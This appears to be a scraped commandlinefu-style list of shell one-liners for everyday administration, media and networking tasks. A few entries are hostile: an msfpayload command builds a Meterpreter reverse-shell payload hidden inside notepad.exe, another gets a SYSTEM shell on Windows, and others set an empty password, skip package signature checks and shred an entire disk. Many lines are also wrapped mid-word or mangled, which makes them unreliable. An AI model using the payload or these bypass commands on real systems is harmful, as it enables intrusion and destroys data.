mogrify -modulate 100,100,70 ../../icons/32x32/*.png

# remove the last line of all html files in a directory
for f in *.html; do head -n -1 $f > temp; cat temp > $f; rm temp; done

# Sort a list of numbers on one line, separated by spaces.
echo $numbers | sed "s/\( \|$\)/\n/g" | sort -nu | tr "\n" " " | sed -e "s/^ *//
" -e "s/ $//"

# Selecting a random file/folder of a folder
a=(*); echo ${a[$((RANDOM % ${#a[@]})]}

# grep the command-line-fu archive
clgrep keyword

# Get list of all Apache Virtual Host and which is default for each IP address
httpd -S

# Find the uid and gid of your apache process
ps -o euid,egid --ppid `netstat --inet --inet6 -pln|awk '/:80 / { split($7,tmp,
"/"); print tmp[1]; }`|sort |uniq|grep -v EUID

# Filtering IP address from ifconfig usefule in scripts
IPADDR=`ifconfig eth0 | grep -i inet | awk -F: '{print $2}'| awk '{print $1}'`

# List debian package installed by size
wajig large

# Intall not signed packagees with yum
yum --nogpgcheck install "examplePackage"

# Get current pidgin status
dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/
PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusGetCurrent

# if you want the script run at reboot
sudo update-rc.d -f nomemioscript start 99 2 3 4 5

# get linkspeed, ip-adress, mac-address and processor type from osx
echo "-----" >> nicinfo.txt; echo "computer name x" >> nicinfo.txt; ifco
nfig | grep status >> nicinfo.txt; ifconfig | grep inet >> nicinfo.txt; ifconfig
| grep ether >> nicinfo.txt; hostinfo | grep type >> nicinfo.txt;

# if you want the script run at shutdown
sudo update-rc.d -f nomescript stop 90 0 6

```



```

# See the order for DNS resolution on your Mac
scutil --dns

# get memory configuration (not consumption) for all running VMware virtual machines
for file in $( vmrun list | grep 'vmx$' | sort ); do printf "% 40s %s M\n" $(echo "$( echo -n ${file}:\ ; grep memsize $file )" | sed -e 's/.*\///' -e 's/"//g' -e 's/memsize.=//'); done;

# bash screensaver revised
while [ 1 ]; do clear; echo 'YOUR TEXT HERE' | figlet -f banner -t | while IFS="
\n" read l; do echo "$l"; sleep 0.01; done; done

# prints line numbers
cat infile | while read str; do echo "$((++i)) - $str" ; done;

# Compress Images using convert (ImageMagick) in a bulk
find . -maxdepth 1 -iname '*jpg' -exec convert -quality 60 {} lowQ/{} \;

# Generic date format
date --iso

# a pseudo-random coin flip in python
echo "import random; print(random.choice(['heads', 'tails']))" | python

# Add a 1 pixel padding around an image.
convert -bordercolor Transparent -border 1x1 in.png out.png

# Sets OpenFirmware password on a mac
/usr/local/bin/OFPW -pass thepassword

# prints line numbers
while read str; do echo "$((++i)) - $str"; done < infile

# translate what is in the clipboard in english and write it to the terminal
tw translate.google.com.de-en `xsel`

# set open firmware password command mode to require password to make changes
/usr/local/bin/OFPW -mode 1

# regex to match an ip
perl -wlne 'print $1 if /((([01]?[d\d]?|2[0-4]\d|25[0-5])\.([01]?[d\d]?|2[0-4]\d|25[0-5]))\.([01]?[d\d]?|2[0-4]\d|25[0-5]))\.([01]?[d\d]?|2[0-4]\d|25[0-5]))/' iplist

# Spanish Numbers
<ctrl+s>|<alt+s>

# regex to match an ip
echo 127.0.0.1 | egrep -e '^(([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])\.){3}([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])$'

# Enable passwordless login
sudo usermod -p $(mkpasswd '') user_id

# Print all fields in a file/output from field N to the end of the line
awk '{print substr($0, index($0,$N))}'

# refresh texmacs font cache after installing new fonts
texmacs --delete-font-cache

```

```

# chain search and replace special characters to html entities in gvim
%s/?\&iuml;/ge | %s/?\&#0233;/ge | %s/?/'/ge | %s/?/'/ge | %s/?/'/ge | %s/?/'/
ge | %s/?\&ecirc;/ge | %s/?\&#0133;/ge | %s/?\&#232;/ge | %s/?\&#243;/ge | %
s/?\&ouml;/ge | %s/?\&#0233;/ge | %s/?\&ndash;/ge | %s/?\&mdash;/ge

# Rename *.MP3 *.Mp3 *.mP3 etc.. to *.mp3.
find ./ -iname "*.mp3" -type f -printf "mv '%p' '%p'\n" | sed -e "s/mp3'$/mp3'/I
" | sh

# for loop with leading zero in bash 3
for i in {0..1}{0..9}; do echo $i; done

# Capture screen and default audio input device and generate an incompress AVI
file
gst-launch avimux name=mux ! filesink location=out.avi \ alsasrc ! audioconvert
! queue ! mux. !stximagesrc name=videosource use-damage=false ! video/x-raw-rgb,
framerate=10/1 ! videorate ! ffmpegcolorspace ! video/x-raw-yuv,framerate=10/1 !
mux.

# pbzip2 tar pipe to untar
pbzip2 -dck <bz2file> | tar xvf -

# Jump to any directory above the current
jda() { cd $(pwd | sed "s/\(\/\${0}\)\).*\/1/g"); }

# Recursively search a directory tree for all .php .inc .html .htm .css .js file
s for a certain string
find . -type f \( -name "*.js" -o -name "*.php" -o -name "*.inc" -o -name "*.htm
l" -o -name "*.htm" -o -name "*.css" \) -exec grep -il 'searchString' {} \;

# easily find megabyte eating files or directories
alias dush="du -xsm * | sort -n | awk '{ printf(\"%4s MB  ./\",\,$1) ; for (i=1;i
<=NF;i++) { if (i>1) printf(\"%s \",\,$i) } ; printf(\"\\n\\n\") }' | tail"

# Convert KML to GPX w/ gpsbabel
gpsbabel -i kml -f in.kml -o gpx -F out.gpx

# run as system on windows
@echo off && sc create CmdAsSystem type= own type= interact binPath= "cmd /c sta
rt cmd /k (cd c:\ ^& color ec ^& title ***** SYSTEM *****)" && net start CmdAsSy
stem && sc delete CmdAsSystem

# Generate CHECK TABLE statements for all MySQL database tables on a server
DD=`cat /etc/my.cnf | sed "s/#.*//g;" | grep datadir | tr '=' ' ' | gawk '{print
$2;}'` && ( cd $DD ; find . -mindepth 2 | grep -v db\.opt | sed 's/\.\.\./g; s/\
....$/g; s/\.\.\./;' | sort | uniq | tr '/' '.' | gawk '{print "CHECK TABLE", "`$
1`", ";";}' )

# View your motherboard's ACPI tables (in Debian & Ubuntu)
sudo aptitude -y install iasl && sudo cat /sys/firmware/acpi/tables/DSDT > dsdt.
dat && iasl -d dsdt.dat

# dig this
for dnsREC in $(curl -s http://www.iana.org/assignments/dns-parameters |grep -Eo
^[A-Z\.\.]+\ |sed 's/TYPE//'); do echo -n "$dnsREC " && dig +short $dnsREC IANA.
ORG; done

# force change password for all user

```

```

for i in `cat /etc/passwd | awk -F : '{ print $1 }';`; do passwd -e $i; done

# Extract all urls from the last firefox sessionstore.js file used.
sed -e 's/{\"url\":/\n&/g' ~/.mozilla/firefox/*/sessionstore.js | cut -d\" -f4

# Change the homepage of Chromium
change-homepage(){ sed -ri 's|( \"homepage\": \").*(,)|\1\"$@\"'\2|' .config/chromium/Default/Preferences; }

# Get your public ip
wget -qO - http://cfaj.freeshell.org/ipaddr.cgi

# List complete size of directories (do not consider hidden directories)
du --max-depth=1 | grep -v '\.\./\.'

# find names of files ending in *log that have both foo and bar
grep -l bar *.log | xargs grep -l foo

# Convert DOS newlines (CR/LF) to Unix format
fromdos <file>

# fast find (by filename; uses sh, less and sed)
ff() { local a=$1; local b=$2; local c=\"$a\"*/\"$b\"*; case $# in [01])echo usage: ff drivestring [match-no\(\s\)];; 2)printf \"%s\n\" $c|less -SN;; 3)less $(printf \"%s\n\" $c|sed -n \"$3\"p|tr '\n' ' ');; esac; }

# Change all instances of a word in all files in the current directory
perl -pi -e 's/foo/bar/g' $(grep -l foo ./*)

# Generate a Universally Unique Identifier (UUID)
uuid

# List complete size of directories (do not consider hidden directories)
du -sh * | grep -v '\.\./\.'

# List files with names in quotes.
for i in *; do echo '\"$i\"'; done

# git log -n 1 -p FILENAME| head -n 1 | awk -F \" \" '{print $2}'
git last commit on a file.

# Change all instances of a word in all files in the current directory and it's sub-directories
perl -pi -e 's/foo/bar/g' $(grep -rl foo ./*)

# For finding out if something is listening on a port and if so what the daemon is.
lsfo -i :[port number]

# return external ip
host -t a dartsclink.com | sed 's/.*has address //'

# List complete size of directories (do not consider hidden directories)
du -sh `ls -p | grep /`

# Create new repo in Cobbler for CentOS 5.3 updates
cobbler repo add --name=CentOS-5.3-i386-updates --mirror=http://mirror3.mirror.garr.it/mirrors/CentOS/5.3/updates/i386/

```

```

# Today's date on a yearly calendar...
cal -y

# Show apps that use internet connection at the moment.
netstat -lantp | grep -i establ | awk -F/ '{print $2}' | uniq | sort

# Weather on the Command line
curl -s "http://www.google.com/ig/api?weather=New%20York" | sed 's|.*<temp_f dat
a="\([^"]*\)"|>.*|\1|'

# Merge tarballs
cat 1.tar.gz 2.tar.gz | tar zxvif -

# Scroll a message in a terminal titlebar
function titlescroll { _X=0 _TITLEMSG=$1 _WIDTH=${2:-16} _TITLEMSG=`prin
tf "%${(#_TITLEMSG)+$_WIDTH}s" "$_TITLEMSG" ` while `true` do _X=$((
(_X+1)%${#_TITLEMSG})) xtitle "${_TITLEMSG:_X:_WIDTH}" done }

# Remove Thumbs.db files from folders
find ./ -name Thumbs.db -exec rm -rf '{}' +

# Alternative way to get the root directory size in megabytes
expr $(fdisk -s ` grep ' / ' /etc/mstab |cut -d " " -f1` ) / 1024

# empty a file
> filename

# do a full file listing of every file found with locate
locate -i yourfilename | sed 's/ /\ \ /g' | xargs ls -lah | less

# Format a floppy with windows compatible disk
mformat -f 1440 A:

# [Gentoo] Input modules, commented, in your module.autoload file
find /lib/modules/`uname -r`/ -type f -iname '*.o' -or -iname '*.ko' |grep -i -o
'[a-z0-9]*[-|_]*[0-9a-z]*\.ko$' |xargs -I {} echo '# {}' >>/etc/modules.autoloa
d.d/kernel-2.6

# Function to bind MySQL hostport to forward remote MySQL connection to localhos
t.
sshmysql() { ssh -L 13306:127.0.0.1:3306 -N $* & }

# Ring the system bell after finishing a long script/compile
myLongScript && echo -e '\a' || (echo -e '\a'; sleep 1; echo -e '\a')

# show your locale language keyboard setting
locale | grep LANG=

# Play newest or random YouTube video
goyoutube() { d=/path/to/videos p=$d/playlist m=$d/*.mp4 f=$d/*.flv i
f [ "$1" == 'rand' ]; then ls -l $m $f | shuf >$p else ls -lt $m $f >$
p fi mplayer -geometry 500x400 -playlist $p }

# All IP connected to my host
netstat -nut | awk '$NF=="ESTABLISHED" {print $5}' | cut -d: -f1 | sort -u

# Recursive replace of directory and file names in the current directory.
find -name '*oldname*' -print0 | xargs -0 rename 's/oldname/newname/'

# execute your commands and avoid history records

```

```

cat | bash

# Sum up total size and count of all certain filename pattern/regex
find -regextype posix-egrep -regex ".*/[A-Z]{3}_201009[0-9]{2}.*" -printf "%f %s\n" | awk '{ SUM += $2;COUNT++ } END { print SUM/1024 " kb in " COUNT " files" }
'

# All IP connected to my host
netstat -nut | sed '/ESTABLISHED/!d;s/.*[\t ]\+\(.*\):.*\/\1/' | sort -u

# Run a second copy of Firefox using the same profile on Mac OS X
(cd /Applications/Firefox.app/Contents/MacOS; ./firefox-bin -p default --no-remote)

# x bottles of beer on the wall graph
(echo "plot '-' with lines"; for x in $(seq 1 100); do curl -s "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=$(echo $x bottles of beer on the wall|sed 's/ /%20/g')"|sed 's/.*"estimatedResultCount":\"\\([^\"]*\)\".*\/\1\n/';done)|gnuplot -persist

# Remove executable bit from all files in the current directory recursively, excluding other directories, firm permissions
chmod -R u=rw-x+X,g=r-x+X,o= .

# view someone's twitter stream from terminal
grabtweets() { curl -s -o $GT_TMP twitter.com/$1 | cat $GT_TMP | grep entry-content | sed -e :loop -e 's/<[^>]*>\/g;\/<\/N;\/bloop' | sed 's/^[ \t]*\/'; }

# addprinc
kadmin -p admin@NOC.NBIRN.NET -q "addprinc -randkey host/host"

# Find all symlinks that link to directories
ls -l $(find ./ -type l | perl -ne 'chomp; if (-d) { print "$_\n" }')

# execute your commands hiding secret bits from history records
read -e -s -p "Password: " password

# List the size (in human readable form) of all sub folders from the current location
du -hs *

# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename foo bar directory/filename

# ktadd
kadmin -p admin@NOC.NBIRN.NET -q "ktadd -k /etc/krb5.keytab host/hostname"

# prints line numbers
sed '/./=' infile | sed '/^/N; s/\n/ /'

# Get Google Reader unread count
curl -s -H "Authorization: GoogleLogin auth=$auth" "http://www.google.com/reader/api/0/unread-count?output=json" | tr '{' '\n' | sed 's/.*"count":\([0-9]*\),.*\/\1/' | grep -E ^[0-9]+$ | tr '\n' '+' | sed 's/\/\1\n/' | bc

# Check out hijacked files in clearcase
cleartool co -nc `cleartool ls -recurse | grep "hijacked" | sed s/\/@\/@.*// | xargs`

```

```

# kalarm 1 per minute simplest e-mail beacom for Geovision surveillance DVR
curl http://www.spam.la/?f=sender | grep secs| awk '{print; exit}' | osd_cat -i
40 -d 30 -l 2

# Purge frozen messages in Exim
for i in `mailq | awk '$6 ~ /^frozen$/ {print $3}'`; do exim -Mrm $i; done

# Echo exit status (a.k.a. return code)
echo $?

# Import an entire directory into clearcase
ct mkelem -nc `find ./ -name "*" | xargs`

# Purge frozen messages in Exim
exipick -zi | xargs exim -Mrm

# Windows person acting like an idiot in Linux?
export PS1="C:\\>"; clear

# webcam player in ascii art
gst-launch v4l2src ! aasink

# gmail safe folder
find | egrep "\.(ade|adp|bat|chm|cmd|com|cpl|dll|exe|hta|ins|isp|jse|lib|mde|msc
|msp|mst|pif|scr|sct|shb|sys|vb|vbe|vbs|vxd|wsc|wsf|wsh)$"

# Get the rough (german) time from Twitter
echo -e "Berlin Date/Time is" `TZ=GMT-2 /bin/date +%c`

# Transforms a file to all uppercase.
perl -i -ne 'print uc $_' $1

# Remove all the files except abc in the directory
find * ! -name abc | xargs rm

# Disable graphical login on Solaris
svcadm disable cde-login

# Prints files
lpr file

# revert one or more changesets in svn
svn merge -r 1337:1336 PATH PATH

# Remove string with several escaped characters from all files under given path
S='<iframe src="http://254.254.254.254/bad/index.php" width="1" height="
1" frameborder="0"></iframe>' && R=''; find . -name "*.html" -exec grep -l
"$S" {} \; | xargs sed -i -e "s/$S/$R/g"

# recursively open all recently crashed vim buffers in restore mode
find ./ -type f -mtime -1 -name *.sw[po] -print | sed -r 's/^(.+)\.(\S+)\.sw[
op]$/\1/\2/' | xargs vim -r

# Remove all the files except abc in the directory
rm $( ls | egrep -v 'abc|s' )

# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename foo bar filename

```

```

# Show top-level subdirectories (zsh)
ls -ld */

# Sort a character string
echo sortmeplease | awk '{l=split($1,a,"");asort(a);while(x<=l){printf "%s",a[x];x++ }print ""}'

# Bulk copy large blocks of data between File Systems (run as root iff you do not own all of the files!)
tar cpof - src |( cd des; tar xpod -)

# count how many cat processes are running
ps -cx cat

# arp-scan -l without duplicates
arp-scan -l -g -interface (nic)

# Files modified today
ls *(m-1)

# Length of longest line of code
perl -ne 'push(@w, length); END {printf "%0d\n" , (sort({$b <=> $a} @w))[0]}' *.cpp

# Wait for an already launched program to stop before starting a new command.
while (ps -ef | grep [r]unning_program_name); do sleep 10; done; command_to_execute

# Continue a current job in the background
<ctrl+z> %1 &

# Email if you disk is over 90%
HDD=$(df | awk ' NR>3 (S=$5) (M=$6) { if (S>90) print "Your Systems "M" is ""S" Full" } ' ) ; [[ $HDD ]] && echo "$HDD" | mail -s "Hard-Drives Full" TO@EMAIL.com -- -f FROM@EMAIL.com >/dev/null

# Print line numbers
sed = <file> | sed 'N;s/\n/\t/'

# Print just line 4 from a textfile
sed '4!d'

# create an mp3 with variable bitrate
lame -h -V 6 track9.wav track9.mp3

# How far is Mac OS X 10.6 from 64-bit?
file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl |tail -1 |cut -f1 -f3 && file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -v x86_64 |nl |tail -1 |cut -f1 -f3

# phpinfo from the command line
php -i

# Delete Mailer-Daemon messages
mailq |awk '/MAILER-DAEMON/{gsub("","");printf("postsuper -d %s\n",$1)}'|bash

# Print just line 4 from a textfile
perl -ne '$. == 4 && print && exit'

# find and kill a zombie process

```

```

kill -HUP `ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}'`

# List of commands you use most often
HISTTIMEFORMAT='' history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' |
sort -rn | head > /tmp/cmds ; gnuplot -persist <<<'plot "/tmp/cmds" using 1:xtic
labels(2) with boxes'

# phpinfo from the command line
php -r "phpinfo();"

# OS-X... create a quick look from the command line
qlmanage -p "yourfilename"

# sending message to a logged user of group
write user anytext

# Edit all files found having a specific string found by grep
find . -exec grep foobar /dev/null {} \; | awk -F: '{print $1}' | xargs vi

# convert mp3 to ogg
mp32ogg file.mp3

# Turn shell tracing and verbosity (set -xv) on/off with 1 command!
function setx(){ sed '/[xv]!/Q2' <<< $- && { set +xv; export PS4=">>> "; } || {
export PS4="`tput setaf 3`>>> `tput sgr0`; set -xv; }; }

# Print a row of characters across the terminal
jot -b '#' -s '' $COLUMNS

# Find all files over a set size and displays accordingly
find / -type f -size +512000 | xargs ls -lh | awk '{ print $5 " " " $6$7 ": " $9 }
'

# my command for downloading delicious web links,
wget -r --wait=5 --quota=5000m --tries=3 --directory-prefix=/home/erin/Documents
/erins_webpages --limit-rate=20k --level=1 -k -p -erobots=off -np -N --exclud
e-domains=del.icio.us,doubleclick.net -F -i ./delicious-20090629.htm

# CPU architecture details
cat /proc/cpuinfo

# Find all files containing a word
find . -name "*.php" -exec grep -il searchphrase {} \;

# List only files in long format.
ls -l | grep ^-

# identify big file
du -s * | sort -nr | head

# Edit all files found having a specific string found by grep
find . -type f -exec grep -qi 'foo' {} \; -print0 | xargs -0 vim

# Pear install behind proxy
pear config-set http_proxy http://myusername:mypassword@corporateproxy:8080

# know which version of the program is installed on your Debian and derivatives
aptitude show $PROGRAM | grep Vers

```



```

# Get minimum, current, maximum possible resolution of Xorg
xrandr -q | grep -w Screen

# split a postscript file
file=orig.ps; for i in $(seq `grep "Pages:" $file | sed 's/%%Pages: //g'`); do p
sselect $i $file $i\_$_file; done

# Find the full path of an already running process
readlink -f /proc/<pid>/cmdline

# Filenames ROT13
for each in *; do file="$each."; name=${file%.*}; suffix=${file#*.}; mv "$each"
"$$(echo $name | rot13)${suffix:+.}${suffix%}"; done

# display only tcp
netstat -4tnape

# wget, tar xzvf, cd, ls
wtzc () { wget "$@"; foo=`echo "$@" | sed 's:.*/::'`; tar xzvf $foo; blah=`echo
$foo | sed 's:.*/::'`; bar=`echo $blah | sed -e 's/\(.*\)\.\.\*/\1/' -e 's/\(.*\)\
.\.\*/\1/'`; cd $bar; ls; }

# Split a file into equal size chunks and archive to (e)mail account.
split -b4m file.tgz file.tgz.; for i in file.tgz.*; do SUBJ="Backup Archive"; M
SG="Archive File Attached"; echo $MSG | mutt -a $i -s $SUBJ YourEmail@(E)mail.co
m

# Find Out My Linux Distribution Name and Version
if [ -x /etc/*-release ]; then cat /etc/*-release ; else cat /etc/*-version ; fi

# Delete Text Editor's Backup
find . -name "*~" -exec rm {} \;

# vim's pastetoggle: when you press f9 'paste' is on , press f9 again and 'paste
' is off, and so forth (works in insert-mode and command-mode)
nmap <F9> :set paste!<BAR>:set paste?<CR>

# Greets the user appropriately
echo -e "12 morning\n15 afternoon\n24 evening" | awk '{if (`date +%H` < $1) pr
int "Good " $2}'

# keep an eye on system load changes
watch -n 7 -d 'uptime | sed s/.*users?, //'

# Get DMX disk ID from the ODM database of a DMX attached disk. It is ok for vir
tual disks.
odmget -q "attribute=unique_id" CuAt |sed -n 's/.*name = "\(.*)""/\1/p;s/.*valu
e = ".....\(....\)..SYMMETRIX..EMCfc*.*/0x\1/p;s/.*value =//p'

# Create a temp file
FILE=$(tempfile 2>/dev/null || echo .$RANDOM)

# change the all files which contains xxxxx to yyyyyy
grep -r -l xxxxx . | xargs perl -i -pe "s/xxxxx/yyyyy/g"

# Loopback mount .iso on FreeBSD
mount -t cd9660 /dev/mdconfig -a -t vnode -f discimg.iso` /cdrom

# Unarchive entire folder

```

```

for f in *;do case "$(echo $f|sed "s/.*\.\([a-z\.]*\)/\1/g")" in zip)unzip -qqo
$f&&rm $f;;tar.gz|tar.bz2)tar xf $f&&rm $f;;rar)unrar e -o+ -r -y $f&&rm $f;;7z)
7z e -qqo $f;;esac;done

# Find all videos under current directory
find ./ -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1

# Get DELL Warranty Information from support.dell.com
curl -Ls "http://support.dell.com/support/DPP/Index.aspx?c=us&cs=08W&l=en&s=biz&
ServiceTag=$(dmidecode -s system-serial-number)"|egrep -i '>Your Warranty<|>Prod
uct Support for'|html2text -style pretty|egrep -v 'Request|View'|perl -pane 's/^
(\s+|\})//g;'

# Add to Instapaper
instapaper-add(){ curl -s -d username="$1" -d password="$2" -d url="$3" https://
www.instapaper.com/api/add; }

# Search through files, ignoring .svn
find . | grep -v svn

# Connect to irssi over ssh
rxvt-unicode -g 999x999 -sr -depth 32 -bg rg-ba:0000/0000/0000/dddd +sb -T irssi
-n irssi -name irssichat -e ssh server.com -Xt screen -aAdr -RR irssi irssi

# checkout directory and the files it contains, without any further subdirector
ies
cvs checkout -l project/src/

# forking a process from gnome-terminal detached from the terminal.
nohup gnome-open . 0</dev/null 1>/dev/null 2>/dev/null&

# Find and edit multiple files given a regex in vim buffers
vim `find . -iname '*.php'`

# Get to the user for using system.
ps awwux|awk '{print $1}'|sort|uniq

# open new tab without in gnome-terminal
WID=xprop -root | grep "_NET_ACTIVE_WINDOW(WINDOW)"| awk '{print $5}' xdotool wi
ndowfocus $WID xdotool key ctrl+shift+t wmctrl -i -a $WID

# transfer files locally to be sure that file permissions are kept correctly sho
wing progress
cp -av source dest

# Remove CR LF from a text file
sed -i 's/\r\n//' file.txt

# top ten of biggest files/dirs in $PWD
du -sm *|sort -rn|head -10

# Organize a TV-Series season
season=1; for file in $(ls) ; do dir=$(echo $file | sed 's/.*S0$season\(E[0-9]\{
2\}\).*\/\1/'); mkdir $dir ; mv $file $dir; done

# dolphins on the desktop (compiz)
xwinwrap -ni -argb -fs -s -st -sp -nf -b -- /usr/libexec/xscreensaver/atlantis -
count 20 -window-id WID &

# Simple read and write test with Iozone

```

```

iozone -s 2g -r 64 -i 0 -i 1 -t 1

# View the newest xkcd comic.
wget -O xkcd_$(date +%y-%m-%d).png `lynx --dump http://xkcd.com/|grep png`; eog
xkcd_$(date +%y-%m-%d).png

# Extract tags in a file
awk -vRS="</Tag2>" '/<Tag2>/{gsub(/.*<Tag2>/,"");print}' file

# Check a internet connetion is up. If it isn't write a log.
while true; do /bin/ping -q -c1 -w3 8.8.8.8 2>&1 > /dev/null || echo "8.8.8.8 pi
ng failed at $(date +%d/%m/%y) $(date +%H:%M:%S)" >> /var/log/ping.log; sleep 10
; done &

# Display a random man page
man $(ls /bin | shuf | head -1)

# Tricky implementation of two-dimensional array in Bash
getarray(){ a=$1;b="${a[$2]}";eval "c=$b";echo "${c[$3]}";return 0;};a[0]="( a b
c )";a[1]="( d e f )";getarray a 1 2

# shows the full path of shell commands
whereis command

# sed - match numbers between 1-100
cat file | sed -n -r '/^100$|^([0-9]){1,2}$/p'

# Get weather
STA=KILCHICA30 PAG=http://api.wunderground.com/weatherstation/WXCurrentObXML.asp
?ID=${STA} D=$(curl -s $PAG | sed -n 's/.*<(temp_f|wind_dir|wind_mph)>\(.*\
)<\/.*\/\2/p') echo ${D[1]}@${D[2]}mph ${D[0]}F

# automate web search and open tabs in firefox
cat search_items.txt | while read i; do surfraw google -browser=firefox $i; done

# Perl One Liner to Generate a Random IP Address
perl -e 'printf "%vd\n",pack "N",rand 256**4'

# Remove two dashes ('--') before signature in Evolution Mail (>2.30.x)
gconf-editor /apps/evolution/mail/composer/no_signature_delim false

# Remove an unnecessary suffix from a file name for all files in a directory
for f in $(ls *.xml.skippy); do mv $f `echo $f | sed 's|.skippy||'`; done

# Exim version
exim -bV

# Cowsay Random Cow saying your fortune with colorized output
files=(/usr/share/cowsay/cows/*); cowsay -f `echo ${files[$((RANDOM%${#files}))]}
` `fortune` | toilet -F gay -f term

# Eliminate duplicate lines on a file
cat file1.txt | uniq > file2.txt

# Checks all MySQL tables
myisamchk /path/to/mysql/files/*.MYI

# transform relative URLs (shoddy hack but it works)
wget -k $URL

```

```
# search for the content in a directory
find . -exec grep "test" '{}' /dev/null \; -print

# bash function to check for something every 5 seconds
watch -n <seconds> <command>

# remove files and directories with acces time older than a given date
find <dir> -printf '%p : %A@\n' | awk '{FS=" : "; if($2 < <time in epoc> ) print $1 ;}' | xargs rm --verbose -fr ;

# transfer files locally to be sure that file permissions are kept correctly showing progress
dir='path to file'; tar cpf - "$dir" | pv -s $(du -sb "$dir" | awk '{print $1}') | tar xpf - -C /other/path

# Create key/value pairs in bash
$ hash="foo:bar"; key=${hash%:*}; value=${hash#*:}; echo "Key: $key Value: $value"

# remove files and directories with acces time older than a given time
find -amin +[n] -delete

# Recursively remove all empty directories
find . -depth -type d -empty -exec rmdir -v {} \;

# Find errors in your php website
find -name "*.php" -exec php -l {} \; | grep -v "No syntax errors"

# Show last argument
echo !$

# encode payload
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=8000 R | msfencode -c 5 -t exe -x ~/notepad.exe -k -o notepad.exe

# Print the current battery status
acpi | cut -d '%' -f1 | cut -d ',' -f2

# Save VM running as headless
VBoxManage controlvm ServidorProducao savestate

# make multiple directories
mkdir {1..100}

# Determine MythTV Version on a Debian System
apt-cache policy mythtv

# Open a RemoteDesktop from terminal
rdesktop -a 16 luigi:3052

# Get your outgoing IP address
curl icanhazip.com

# GUID generator
guid(){ lynx -nonumbers -dump http://www.famkruihof.net/uuid/uuidgen | grep "\w\{8\}" | tr -d ' '; }

# Shred an complete disk, by overwritting its content 10 times
```

```
sudo shred -zn10 /dev/sda

# make ping run a little faster
alias ping='ping -n'

# see who is on this machine
who;ps aux|grep ssh

# Create ubuntu.qcow image, limit size 10G
qemu-img create ubuntu.qcow 10G

# Open virtual machine in ubuntu.qcow image
qemu -cdrom /dev/cdrom -hda ubuntu.qcow -boot d -net nic -net user -m 196 -local
time

# Convert ogg to mp3
for x in *.ogg; do ffmpeg -i "$x" "`basename "$x" .ogg`.mp3"; done

# Improvement of curl + Twitter
echo "Set Twitter Status" ; read STATUS; curl -u user:pass -d status="$STATUS" h
ttp://twitter.com/statuses/update.xml

# Outputs current folder svn revision
LC_ALL=C svn info | grep Revision | awk '{print $2}'

# kills rapidly spawning processes that spawn faster than you can repeat the kil
lall command
killall rapidly_spawning_process ; killall rapidly_spawning_process ; killall ra
pidly_spawning_process

# Print your local hostname with python
python -c "import platform; print platform.node()"

# find the device when you only know the mount point
df | grep -w '/media/mountpoint' | cut -d " " -f 1

# Find errors in your php website
egrep '([\error\])+.*(PHP)+' /var/log/apache2/error.log

# find the device when you only know the mount point
df | grep -w '/media/armadillo' | cut -d " " -f 1

# Add a list of numbers
echo "1+2+3+4" | bc

# Multiple Timed Execution of subshells sleeping in the background using job con
trol and sleep.
S=$SSH_TTY && (sleep 3 && echo -n 'Peace... '>$S & ) && (sleep 5 && echo -n 'Lov
e... '>$S & ) && (sleep 7 && echo 'and Intergalactic Happiness! '>$S & )

# Checks apache's access_log file, strips the search queries and shoves them up
your e-mail
cat /var/log/httpd/access_log | grep q= | awk '{print $11}' | awk -F 'q=' '{prin
t $2}' | sed 's/+//g;s/%22//g;s/q=// ' | cut -d "&" -f 1 | mail youremail@isp.c
om -s "[your-site] search strings for `date`"

# Sum file sizes
find . -type f -printf %s\n | numsum

# Display all installed ISO/IEC 8859 manpages
```

```

for i in $(seq 1 11) 13 14 15 16; do man iso-8859-$i; done

# Get a list of commands for which there are no manpages
for file in $(ls /usr/bin ) ; do man -w $file 2>> nomanlist.txt >/dev/null ; done

# Find PHP files
find . -name "*.php" -print0 | xargs -0 grep -i "search phrase"

# Get pid of running Apache Tomcat process
ps -eo pid,args | grep -v grep | grep catalina | awk '{print $1}'

# Convert all tabs in a file to spaces, assuming the tab width is 2
sed -i 's/\t/ /g' yourfile

# Check the reserved block percentage of an Ext2/3 filesystem
dumpe2fs -h /dev/sdX

# Delete only binary files in a directory
for i in *; do file "$i" | grep -Fqw "ELF" && rm "$i"; done

# Mount a CD-ROM on Solaris (SPARC)
mkdir -p /cdrom/unnamed_cdrom ; mount -F hsfs -o ro,ls -al /dev/sr* |awk '{print "/dev/" $1}'` /cdrom/unnamed_cdrom

# Mount a Windows share on the local network (Ubuntu)
sudo mount -t cifs //${ip_or_host}/${sharename} /mnt

# Get IPv6 of eth0 for use with scripts
/sbin/ifconfig eth0 | grep 'inet6 addr:' | awk {'print $3'}

# Show the single most recently modified file in a directory
ls -ltp | grep -v '/$' | head -n1

# CPU model
cat /proc/cpuinfo

# Upload - rsync using key pair
rsync -avvz -e "ssh -i /root/.ec2/id_rsa-gsg-keypair" --archive --progress /root/.ec2/id_rsa-gsg-keypair root@ec2-75-101-212-113.compute-1.amazonaws.com:/root

# Alias cd to record your directory travelling
alias cd='pushd'; alias cd-='popd'

# Display a list of upgradeable packages (apt)
apt-show-versions -u

# mac address for eth0
ifconfig eth0 | grep 'HWaddr' | awk '{print $5}'

# show open ports on computer
netstat -an | grep -i listen

# Upload - rsync using key pair
rsync -avvz -e "ssh -i /root/.ec2/id_rsa-gsg-keypair" --archive --progress /root/.ec2/id_rsa-gsg-keypair root@ec2-75-101-212-113.compute-1.amazonaws.com:/root

# command line fu roulette, without all the excessive parsing

```

```

function fur () { curl -sL 'http://www.commandlinefu.com/commands/random/plainte
xt' | grep -v "^# commandlinefu" }

# Show the single most recently modified file in a directory
ls -lFart |tail -n1

# put nothing nowhere
cat /dev/zero > /dev/null &

# Generate a random password 32 characters long :)
makepasswd --char=32

# print random commandlinefu.com submission
lynx -source http://www.commandlinefu.com/commands/random | sed 's/<[^>]*>//g' |
